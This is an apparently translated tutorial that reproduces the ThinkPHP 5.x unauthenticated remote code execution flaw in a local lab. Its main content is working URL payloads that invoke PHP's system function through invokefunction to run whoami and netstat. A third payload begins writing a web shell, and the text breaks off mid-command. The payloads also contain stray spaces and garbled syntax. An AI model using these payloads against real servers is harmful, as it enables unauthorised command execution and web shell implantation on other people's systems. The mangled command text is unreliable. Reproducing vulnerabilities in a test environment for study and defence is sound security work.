Example Analysis of ThinkPHP5.x vulnerability recurrence

This article mainly introduces the example analysis of the recurrence of ThinkPHP5.x vulnerabilities, which is very detailed and has a certain reference value. Interested friends must read it!

First of all, after we have built the test environment, when we visit http://127.0.0.1/thinkphp/public/index.php locally, the following interface will appear, indicating that the installation is successful.

ThinkPHP is a fast, compatible and simple lightweight domestic PHP development framework. It also uses object-oriented development structures and MVC patterns. For versions 5.0.x, 5.1.x, and 5.2.x, you don't need to log in for remote code execution.

We first execute the system commands directly locally and remotely:

Note: payload is from zero attack and defense laboratory.

1. Get the current user:

? s=index/\ think\ app/invokefunction&function=call_user_func_array&vars [0] = system&vars [1] [] = whoami (system command)

2. Obtain process information:

? s=index/\ think\ app/invokefunction&function=call_user_func_array&vars [0] = system&vars [1] [] = netstat-an

3. Write to shell file:

? s=/index/\ think\ app/invokefunction&function=call_user_func_array&vars [0] = system&vars [1] [] = echo ^